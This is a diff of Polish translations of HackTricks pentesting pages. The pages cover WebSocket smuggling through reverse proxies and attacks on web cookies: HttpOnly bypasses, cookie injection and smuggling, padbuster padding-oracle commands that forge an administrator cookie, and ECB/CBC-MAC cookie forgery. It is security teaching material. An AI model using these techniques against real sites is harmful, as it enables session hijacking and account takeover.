2. Backend odpowiada kodem stanu `426`, wskazując nieprawidłową wersję protokołu w nagłówku `Sec-WebSocket-Version`. Odwrotne proxy, pomijając status odpowiedzi backendu, zakłada gotowość do komunikacji Websocket i przekazuje odpowiedź klientowi.
|
||||
3. W rezultacie odwrotne proxy zostaje wprowadzone w błąd, uznając, że zostało ustanowione połączenie Websocket między klientem a backendem, podczas gdy w rzeczywistości backend odrzucił żądanie Upgrade. Mimo to proxy utrzymuje otwarte połączenie TCP lub TLS między klientem a backendem, umożliwiając klientowi nieograniczony dostęp do prywatnego API REST poprzez to połączenie.
|
||||
2. Backend odpowiada kodem stanu `426`, wskazując nieprawidłową wersję protokołu w nagłówku `Sec-WebSocket-Version`. Odwrotne proxy, ignorując odpowiedź backendu, zakłada gotowość do komunikacji Websocket i przekazuje odpowiedź klientowi.
|
||||
3. W rezultacie odwrotne proxy zostaje wprowadzone w błąd, uznając, że zostało ustanowione połączenie Websocket między klientem a backendem, podczas gdy w rzeczywistości backend odrzucił żądanie Upgrade. Mimo to, proxy utrzymuje otwarte połączenie TCP lub TLS między klientem a backendem, umożliwiając klientowi nieograniczony dostęp do prywatnego API REST poprzez to połączenie.
|
||||
|
||||
Narażone odwrotne proksy obejmują Varnish, który odmówił rozwiązania problemu, oraz odwrotne proxy Envoy w wersji 1.8.0 lub starszej, przy czym późniejsze wersje zmieniły mechanizm aktualizacji. Inne proksy mogą również być podatne.
|
||||
|
||||
|
@ -90,11 +90,11 @@ Narażone odwrotne proksy obejmują Varnish, który odmówił rozwiązania probl
|
|||
Ten scenariusz dotyczy backendu posiadającego zarówno publiczne API Websocket, jak i publiczne API REST do sprawdzania stanu zdrowia, obok niedostępnego wewnętrznego API REST. Atak, bardziej złożony, obejmuje następujące kroki:
|
||||
|
||||
1. Klient wysyła żądanie POST w celu uruchomienia API sprawdzania stanu zdrowia, zawierając dodatkowy nagłówek HTTP `Upgrade: websocket`. NGINX, działający jako odwrotne proxy, interpretuje to jako standardowe żądanie Upgrade oparte wyłącznie na nagłówku `Upgrade`, pomijając inne aspekty żądania, i przekazuje je do backendu.
|
||||
2. Backend wykonuje API sprawdzania stanu zdrowia, sięgając do zewnętrznego zasobu kontrolowanego przez atakującego, który zwraca odpowiedź HTTP ze statusem `101`. Ta odpowiedź, po otrzymaniu przez backend i przekazaniu do NGINX, wprowadza proxy w błąd, sugerując ustanowienie połączenia Websocket ze względu na walidację tylko statusu odpowiedzi.
|
||||
2. Backend wykonuje API sprawdzania stanu zdrowia, sięgając do zewnętrznego zasobu kontrolowanego przez atakującego, który zwraca odpowiedź HTTP ze statusem `101`. Ta odpowiedź, po otrzymaniu przez backend i przekazaniu do NGINX, wprowadza proxy w błąd, sugerując ustanowienie połączenia Websocket ze względu na walidację tylko kodu stanu.
|
||||
|
||||
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
|
||||
|
||||
> **Ostrzeżenie:** Złożoność tej techniki wzrasta, ponieważ wymaga zdolności do interakcji z punktem końcowym zdolnym do zwrócenia statusu 101.
|
||||
> **Ostrzeżenie:** Złożoność tej techniki wzrasta, ponieważ wymaga zdolności do interakcji z punktem końcowym zdolnym do zwrócenia kodu stanu 101.
|
||||
|
||||
Ostatecznie NGINX zostaje oszukany, że istnieje połączenie Websocket między klientem a backendem. W rzeczywistości takie połączenie nie istnieje; celem było API REST sprawdzania stanu zdrowia. Niemniej jednak odwrotne proxy utrzymuje otwarte połączenie, umożliwiając klientowi dostęp do prywatnego API REST poprzez nie.
|
||||
|
||||
|
@ -115,7 +115,7 @@ Sprawdź laboratoria, aby przetestować oba scenariusze w [https://github.com/0a
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -129,6 +129,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCYJNY**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,13 +26,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Ciasteczka posiadają kilka atrybutów kontrolujących ich zachowanie w przeglądarce użytkownika. Oto przegląd tych atrybutów w bardziej biernym tonie:
|
||||
|
||||
### Wygasa i Max-Age
|
||||
### Wygaśnięcie i Max-Age
|
||||
|
||||
Datę wygaśnięcia ciasteczka określa atrybut `Expires`. Z kolei atrybut `Max-age` definiuje czas w sekundach do momentu usunięcia ciasteczka. **Wybierz `Max-age`, ponieważ odzwierciedla nowoczesne praktyki.**
|
||||
Datę wygaśnięcia ciasteczka określa atrybut `Expires`. Z kolei atrybut `Max-age` definiuje czas w sekundach do momentu usunięcia ciasteczka. **Wybierz `Max-age`, ponieważ odzwierciedla on bardziej nowoczesne praktyki.**
|
||||
|
||||
### Domena
|
||||
|
||||
Hosty, które otrzymają ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest ustawiony na host, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest jawnie ustawiony, obejmuje również subdomeny. Sprawia to, że określenie atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w sytuacjach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
Hosty, które otrzymają ciasteczko, są określone przez atrybut `Domain`. Domyślnie jest on ustawiony na host, który wydał ciasteczko, nie obejmując jego subdomen. Jednak gdy atrybut `Domain` jest jawnie ustawiony, obejmuje on również subdomeny. Sprawia to, że określenie atrybutu `Domain` jest mniej restrykcyjną opcją, przydatną w sytuacjach, gdzie konieczne jest udostępnianie ciasteczek między subdomenami. Na przykład, ustawienie `Domain=mozilla.org` sprawia, że ciasteczka są dostępne na jego subdomenach, takich jak `developer.mozilla.org`.
|
||||
|
||||
### Ścieżka
|
||||
|
||||
|
@ -49,10 +49,10 @@ Gdy dwa ciasteczka mają tę samą nazwę, wybór ciasteczka do wysłania opiera
|
|||
|
||||
* Atrybut `SameSite` określa, czy ciasteczka są wysyłane w żądaniach pochodzących z domen zewnętrznych. Oferuje trzy ustawienia:
|
||||
* **Strict**: Ogranicza wysyłanie ciasteczka w żądaniach zewnętrznych.
|
||||
* **Lax**: Pozwala na wysyłanie ciasteczka w żądaniach GET inicjowanych przez strony zewnętrzne.
|
||||
* **Lax**: Pozwala na wysyłanie ciasteczka wraz z żądaniami GET inicjowanymi przez strony zewnętrzne.
|
||||
* **None**: Umożliwia wysyłanie ciasteczka z dowolnej domeny zewnętrznej.
|
||||
|
||||
Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów może pomóc w zapewnieniu, że zachowują się zgodnie z oczekiwaniami w różnych scenariuszach.
|
||||
Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów może pomóc w zapewnieniu, że zachowują się one zgodnie z oczekiwaniami w różnych scenariuszach.
|
||||
|
||||
| **Typ żądania** | **Przykładowy kod** | **Wysyłane ciasteczka, gdy** |
|
||||
| ---------------- | ---------------------------------- | --------------------- |
|
||||
|
@ -64,11 +64,11 @@ Pamiętaj, że podczas konfigurowania ciasteczek zrozumienie tych atrybutów mo
|
|||
| AJAX | $.get("...") | NotSet\*, None |
|
||||
| Obraz | \<img src="..."> | NetSet\*, None |
|
||||
|
||||
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieco zmodyfikowana.\
|
||||
Ciasteczko z atrybutem _**SameSite**_ pomoże **zmniejszyć ataki CSRF**, gdy wymagana jest zalogowana sesja.
|
||||
Tabela z [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) i nieznacznie zmodyfikowana.\
|
||||
Ciasteczko z atrybutem _**SameSite**_ **zmniejszy ataki CSRF**, gdzie wymagana jest zalogowana sesja.
|
||||
|
||||
**\*Zauważ, że od Chrome 80 (luty 2019) domyślne zachowanie ciasteczka bez atrybutu SameSite** **będzie luźne** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą traktowane jako None** podczas **pierwszych 2 minut, a następnie jako Lax dla żądań POST z najwyższego poziomu między witrynami.**
|
||||
**\*Zauważ, że od Chrome 80 (luty 2019) domyślne zachowanie ciasteczka bez atrybutu samesite** **będzie luźne** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Zauważ, że tymczasowo, po zastosowaniu tej zmiany, **ciasteczka bez polityki SameSite** **w Chrome będą traktowane jako None** podczas **pierwszych 2 minut, a następnie jako Lax dla żądań POST z najwyższego poziomu między stronami.**
|
||||
|
||||
## Flagi Ciasteczek
|
||||
|
||||
|
@ -79,7 +79,7 @@ Zapobiega to **klientowi** dostępu do ciasteczka (na przykład za pomocą **Jav
|
|||
#### **Ominięcia**
|
||||
|
||||
* Jeśli strona **wysyła ciasteczka jako odpowiedź** na żądania (na przykład na stronie **PHPinfo**), możliwe jest wykorzystanie XSS do wysłania żądania do tej strony i **ukradzenia ciasteczek** z odpowiedzi (sprawdź przykład w [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* To można ominąć za pomocą żądań **HTTP TRACE** jako odpowiedź serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Śledzenie między witrynami**.
|
||||
* To można ominąć za pomocą żądań **HTTP TRACE** jako odpowiedź serwera (jeśli ta metoda HTTP jest dostępna) odzwierciedli wysłane ciasteczka. Ta technika nazywa się **Śledzenie między stronami**.
|
||||
* Ta technika jest unikana przez **nowoczesne przeglądarki, które nie zezwalają na wysyłanie żądania TRACE** z JS. Jednak znaleziono pewne sposoby obejścia tego w określonym oprogramowaniu, takie jak wysyłanie `\r\nTRACE` zamiast `TRACE` do IE6.0 SP2.
|
||||
* Innym sposobem jest wykorzystanie podatności zero/dnia przeglądarek.
|
||||
* Możliwe jest **nadpisanie ciasteczek HttpOnly** poprzez przeprowadzenie ataku przepełnienia Cookie Jar:
|
||||
|
@ -102,13 +102,13 @@ Dla ciasteczek z prefiksem `__Host-` muszą być spełnione kilka warunków:
|
|||
|
||||
* Muszą być ustawione z flagą `secure`.
|
||||
* Muszą pochodzić z strony zabezpieczonej protokołem HTTPS.
|
||||
* Nie wolno im określać domeny, co uniemożliwia ich przesyłanie do subdomen.
|
||||
* Są one zakazane od określania domeny, uniemożliwiając ich przesyłanie do subdomen.
|
||||
* Ścieżka dla tych ciasteczek musi być ustawiona na `/`.
|
||||
|
||||
Ważne jest zauważenie, że ciasteczka z prefiksem `__Host-` nie mogą być wysyłane do naddomen ani subdomen. To ograniczenie pomaga w izolowaniu ciasteczek aplikacji. Dlatego stosowanie prefiksu `__Host-` dla wszystkich ciasteczek aplikacji można uznać za dobrą praktykę w celu zwiększenia bezpieczeństwa i izolacji.
|
||||
Ważne jest zauważenie, że ciasteczka z prefiksem `__Host-` nie mogą być wysyłane do naddomen ani subdomen. To ograniczenie pomaga w izolowaniu ciasteczek aplikacji. Dlatego stosowanie prefiksu `__Host-` dla wszystkich ciasteczek aplikacji można uznać za dobrą praktykę w celu poprawy bezpieczeństwa i izolacji.
|
||||
### Nadpisywanie ciasteczek
|
||||
|
||||
Więc jedną z ochron przed ciasteczkami z prefiksem `__Host-` jest zapobieganie ich nadpisywaniu z subdomen. Zapobieganie na przykład atakom [**Cookie Tossing**](cookie-tossing.md). W prezentacji [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**dokument**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że było możliwe ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parser, na przykład dodając "=" na początku lub na początku i na końcu...:
|
||||
Więc jedną z ochron przed ciasteczkami z prefiksem `__Host-` jest uniemożliwienie ich nadpisania z subdomen. Zapobieganie na przykład atakom [**Cookie Tossing**](cookie-tossing.md). W prezentacji [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) przedstawiono, że było możliwe ustawienie ciasteczek z prefiksem \_\_HOST- z subdomeny, oszukując parser, na przykład dodając "=" na początku lub na początku i na końcu...:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -116,7 +116,7 @@ W PHP było również możliwe dodanie **innych znaków na początku** nazwy cia
|
|||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt="" width="373"><figcaption></figcaption></figure>
|
||||
|
||||
## Ataki na Ciasteczka
|
||||
## Ataki na ciasteczka
|
||||
|
||||
Jeśli niestandardowe ciasteczko zawiera wrażliwe dane, sprawdź je (szczególnie jeśli bierzesz udział w CTF), ponieważ może być podatne na ataki.
|
||||
|
||||
|
@ -138,7 +138,7 @@ Jeśli znalazłeś **XSS w subdomenie** lub **masz kontrolę nad subdomeną**, p
|
|||
[cookie-tossing.md](cookie-tossing.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Darowizna Sesji
|
||||
### Ofiarowanie Sesji
|
||||
|
||||
Tutaj atakujący przekonuje ofiarę do użycia ciasteczka sesji atakującego. Ofiara, wierząc, że jest zalogowana do swojego konta, nieumyślnie wykonuje czynności w kontekście konta atakującego.
|
||||
|
||||
|
@ -150,7 +150,7 @@ Jeśli znalazłeś **XSS w subdomenie** lub **masz kontrolę nad subdomeną**, p
|
|||
|
||||
### [JWT Cookies](../hacking-jwt-json-web-tokens.md)
|
||||
|
||||
Kliknij na poprzedni link, aby uzyskać dostęp do strony wyjaśniającej możliwe wady w JWT.
|
||||
Kliknij na poprzedni link, aby uzyskać dostęp do strony wyjaśniającej możliwe wady JWT.
|
||||
|
||||
Tokeny JSON Web (JWT) używane w ciasteczkach mogą również zawierać podatności. Aby uzyskać szczegółowe informacje na temat potencjalnych wad i jak je wykorzystać, zaleca się zapoznanie się z podlinkowanym dokumentem dotyczącym hakowania JWT.
|
||||
|
||||
|
@ -166,7 +166,7 @@ document.cookie = "a=v1"
|
|||
document.cookie = "=test value;" // Setting an empty named cookie
|
||||
document.cookie = "b=v2"
|
||||
```
|
||||
Wynikiem w nagłówku cookie wysłanym jest `a=v1; test value; b=v2;`. Co ciekawe, umożliwia to manipulowanie ciasteczkami, jeśli ustawiono puste ciasteczko o nazwie, potencjalnie kontrolując inne ciasteczka poprzez ustawienie pustego ciasteczka na określoną wartość:
|
||||
Wynikiem w nagłówku cookie wysłanym jest `a=v1; test value; b=v2;`. Co ciekawe, pozwala to na manipulowanie ciasteczkami, jeśli ustawiono puste ciasteczko z nazwą, potencjalnie kontrolując inne ciasteczka poprzez ustawienie pustego ciasteczka na określoną wartość:
|
||||
```js
|
||||
function setCookie(name, value) {
|
||||
document.cookie = `${name}=${value}`;
|
||||
|
@ -176,35 +176,35 @@ setCookie("", "a=b"); // Setting the empty cookie modifies another cookie's valu
|
|||
```
|
||||
To prowadzi do przeglądarki wysyłającej nagłówek cookie interpretowany przez każdy serwer WWW jako cookie o nazwie `a` o wartości `b`.
|
||||
|
||||
#### Błąd w Chrome: Problem z kodem zastępczym Unicode
|
||||
#### Błąd w Chrome: Problem z kodem punktowym zastępczym Unicode
|
||||
|
||||
W Chrome, jeśli kod zastępczy Unicode jest częścią ustawionego ciasteczka, `document.cookie` zostaje uszkodzone, zwracając później pusty ciąg znaków:
|
||||
W Chrome, jeśli punkt kodowy zastępczy Unicode jest częścią ustawionego ciasteczka, `document.cookie` zostaje uszkodzone, zwracając później pusty ciąg znaków:
|
||||
```js
|
||||
document.cookie = "\ud800=meep";
|
||||
```
|
||||
To prowadzi do wyniku `document.cookie` wypisującego pusty ciąg znaków, co wskazuje na trwałe uszkodzenie.
|
||||
To skutkuje wyprowadzeniem `document.cookie` jako pustego ciągu, co wskazuje na trwałe uszkodzenie.
|
||||
|
||||
#### Przemyt ciasteczek z powodu problemów z parsowaniem
|
||||
|
||||
(Sprawdź szczegóły w [oryginalnym badaniu](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te oparte na Java (Jetty, TomCat, Undertow) i Pythonie (Zope, cherrypy, web.py, aiohttp, bottle, webob), błędnie obsługuje ciasteczka ze względu na przestarzałe wsparcie dla RFC2965. Odczytują wartość ciasteczka w podwójnych cudzysłowach jako pojedynczą wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
|
||||
(Sprawdź dalsze szczegóły w [oryginalnym badaniu](https://blog.ankursundara.com/cookie-bugs/)) Kilka serwerów internetowych, w tym te oparte na Java (Jetty, TomCat, Undertow) i Pythonie (Zope, cherrypy, web.py, aiohttp, bottle, webob), błędnie obsługuje ciasteczka ze względu na przestarzałe wsparcie dla RFC2965. Odczytują wartość ciasteczka w podwójnych cudzysłowach jako pojedynczą wartość, nawet jeśli zawiera średniki, które normalnie powinny oddzielać pary klucz-wartość:
|
||||
```
|
||||
RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";
|
||||
```
|
||||
#### Wrażliwość na Wstrzykiwanie Ciasteczek
|
||||
#### Wrażliwości na Wstrzykiwanie Ciasteczek
|
||||
|
||||
(Sprawdź dalsze szczegóły w [oryginalnym badaniu](https://blog.ankursundara.com/cookie-bugs/)) Nieprawidłowe parsowanie ciasteczek przez serwery, w szczególności Undertow, Zope oraz te korzystające z `http.cookie.SimpleCookie` i `http.cookie.BaseCookie` w Pythonie, tworzy możliwości ataków wstrzykiwania ciasteczek. Te serwery niepoprawnie ograniczają początek nowych ciasteczek, pozwalając atakującym na podszywanie się pod ciasteczka:
|
||||
|
||||
* Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowiu bez średnika.
|
||||
* Undertow oczekuje nowego ciasteczka natychmiast po wartości w cudzysłowie bez średnika.
|
||||
* Zope szuka przecinka, aby rozpocząć parsowanie kolejnego ciasteczka.
|
||||
* Klasy ciasteczek w Pythonie zaczynają parsowanie od znaku spacji.
|
||||
|
||||
Ta wrażliwość jest szczególnie niebezpieczna w aplikacjach internetowych polegających na ochronie przed CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie sfałszowanych ciasteczek z tokenem CSRF, potencjalnie omijając środki bezpieczeństwa. Problem jest pogłębiony przez sposób obsługi przez Python zduplikowanych nazw ciasteczek, gdzie ostatnie wystąpienie zastępuje wcześniejsze. Wzbudza to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach oraz może prowadzić do pomijania autoryzacji, gdy ciasteczka są przekazywane do serwerów back-endowych podatnych na podszywanie.
|
||||
Ta wrażliwość jest szczególnie niebezpieczna w aplikacjach internetowych polegających na ochronie przed CSRF opartej na ciasteczkach, ponieważ pozwala atakującym na wstrzykiwanie sfałszowanych ciasteczek z tokenem CSRF, potencjalnie omijając środki bezpieczeństwa. Problem jest pogłębiony przez sposób obsługi przez Python zduplikowanych nazw ciasteczek, gdzie ostatnie wystąpienie zastępuje wcześniejsze. Podnosi to również obawy dotyczące ciasteczek `__Secure-` i `__Host-` w niebezpiecznych kontekstach oraz może prowadzić do pomijania autoryzacji, gdy ciasteczka są przekazywane do serwerów back-endowych podatnych na podszywanie.
|
||||
|
||||
### Dodatkowe Sprawdzenia Wrażliwych Ciasteczek
|
||||
|
||||
#### **Podstawowe sprawdzenia**
|
||||
|
||||
* **Ciasteczko** jest **zawsze takie samo** podczas **logowania**.
|
||||
* **Ciasteczko** jest **zawsze takie samo** przy **logowaniu**.
|
||||
* Wyloguj się i spróbuj użyć tego samego ciasteczka.
|
||||
* Spróbuj zalogować się na 2 urządzeniach (lub przeglądarkach) na to samo konto, używając tego samego ciasteczka.
|
||||
* Sprawdź, czy ciasteczko zawiera jakieś informacje i spróbuj je zmodyfikować.
|
||||
|
@ -214,10 +214,10 @@ Ta wrażliwość jest szczególnie niebezpieczna w aplikacjach internetowych pol
|
|||
|
||||
#### **Zaawansowane ataki na ciasteczka**
|
||||
|
||||
Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) po zalogowaniu, oznacza to prawdopodobnie, że ciasteczko jest powiązane z pewnym polem twojego konta (prawdopodobnie z nazwą użytkownika). W takim przypadku możesz:
|
||||
Jeśli ciasteczko pozostaje takie samo (lub prawie takie samo) po zalogowaniu, oznacza to prawdopodobnie, że ciasteczko jest powiązane z jakimś polem twojego konta (prawdopodobnie nazwą użytkownika). W takim przypadku możesz:
|
||||
|
||||
* Spróbuj utworzyć wiele **kont** z bardzo **podobnymi** nazwami użytkowników i spróbuj **odgadnąć**, jak działa algorytm.
|
||||
* Spróbuj **przeprowadzić atak brutalnej siły na nazwę użytkownika**. Jeśli ciasteczko służy tylko jako metoda uwierzytelniania dla twojej nazwy użytkownika, możesz utworzyć konto o nazwie użytkownika "**Bmin**" i **przeprowadzić atak brutalnej siły** na każdy **bit** ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należeć do "**admin**".
|
||||
* Spróbuj utworzyć wiele **kont** z bardzo **podobnymi nazwami użytkowników** i spróbuj **odgadnąć**, jak działa algorytm.
|
||||
* Spróbuj **przeprowadzić atak brutalnej siły na nazwę użytkownika**. Jeśli ciasteczko służy tylko jako metoda uwierzytelniania dla twojej nazwy użytkownika, możesz utworzyć konto o nazwie użytkownika "**Bmin**" i **przeprowadzić atak brutalnej siły** na każdy **bit** ciasteczka, ponieważ jedno z ciasteczek, które spróbujesz, będzie należało do "**admin**".
|
||||
* Spróbuj **Padding Oracle** (możesz odszyfrować zawartość ciasteczka). Użyj **padbuster**.
|
||||
|
||||
**Padding Oracle - Przykłady Padbuster**
|
||||
|
@ -230,7 +230,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
|
|||
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
|
||||
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
|
||||
```
|
||||
Padbuster będzie podejmował kilka prób i zapyta, która z nich jest warunkiem błędu (ten, który nie jest prawidłowy).
|
||||
Padbuster przeprowadzi kilka prób i zapyta, która z nich jest warunkiem błędu (ten, który nie jest prawidłowy).
|
||||
|
||||
Następnie rozpocznie deszyfrowanie ciasteczka (może to potrwać kilka minut).
|
||||
|
||||
|
@ -238,11 +238,11 @@ Jeśli atak zakończył się sukcesem, możesz spróbować zaszyfrować wybrany
|
|||
```
|
||||
padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator
|
||||
```
|
||||
To wykonanie da Ci poprawnie zaszyfrowane i zakodowane ciasteczko z ciągiem **user=administrator** wewnątrz.
|
||||
To wykonanie spowoduje poprawnie zaszyfrowane i zakodowane ciasteczko z ciągiem **user=administrator** wewnątrz.
|
||||
|
||||
**CBC-MAC**
|
||||
|
||||
Być może ciasteczko mogłoby mieć jakąś wartość i być podpisane za pomocą CBC. Wtedy integralność wartości to podpis utworzony za pomocą CBC z tą samą wartością. Ponieważ zaleca się użycie wektora zerowego jako IV, ten rodzaj sprawdzania integralności może być podatny na atak.
|
||||
Być może ciasteczko mogłoby mieć jakąś wartość i być podpisane za pomocą CBC. Wtedy integralność wartości jest podpisem utworzonym za pomocą CBC z tą samą wartością. Ponieważ zaleca się użycie wektora zerowego jako IV, ten rodzaj sprawdzania integralności może być podatny na atak.
|
||||
|
||||
**Atak**
|
||||
|
||||
|
@ -261,7 +261,7 @@ Utwórz 2 użytkowników z prawie takimi samymi danymi (nazwa użytkownika, has
|
|||
|
||||
Utwórz użytkownika o nazwie na przykład "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" i sprawdź, czy istnieje jakiś wzorzec w ciasteczku (ponieważ ECB szyfruje każdy blok tym samym kluczem, te same zaszyfrowane bajty mogą się pojawić, jeśli nazwa użytkownika jest zaszyfrowana).
|
||||
|
||||
Powinien być jakiś wzorzec (o wielkości używanego bloku). Więc, znając sposób zaszyfrowania grupy "a", możesz utworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzorzec bloku "a" z ciasteczka. I będziesz mieć ciasteczko użytkownika "admin".
|
||||
Powinien być jakiś wzorzec (o wielkości użytego bloku). Więc, znając sposób zaszyfrowania grupy "a", możesz utworzyć nazwę użytkownika: "a"\*(rozmiar bloku)+"admin". Następnie możesz usunąć zaszyfrowany wzorzec bloku "a" z ciasteczka. I będziesz mieć ciasteczko użytkownika "admin".
|
||||
|
||||
## Referencje
|
||||
|
||||
|
@ -270,7 +270,7 @@ Powinien być jakiś wzorzec (o wielkości używanego bloku). Więc, znając spo
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -280,10 +280,10 @@ Powinien być jakiś wzorzec (o wielkości używanego bloku). Więc, znając spo
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
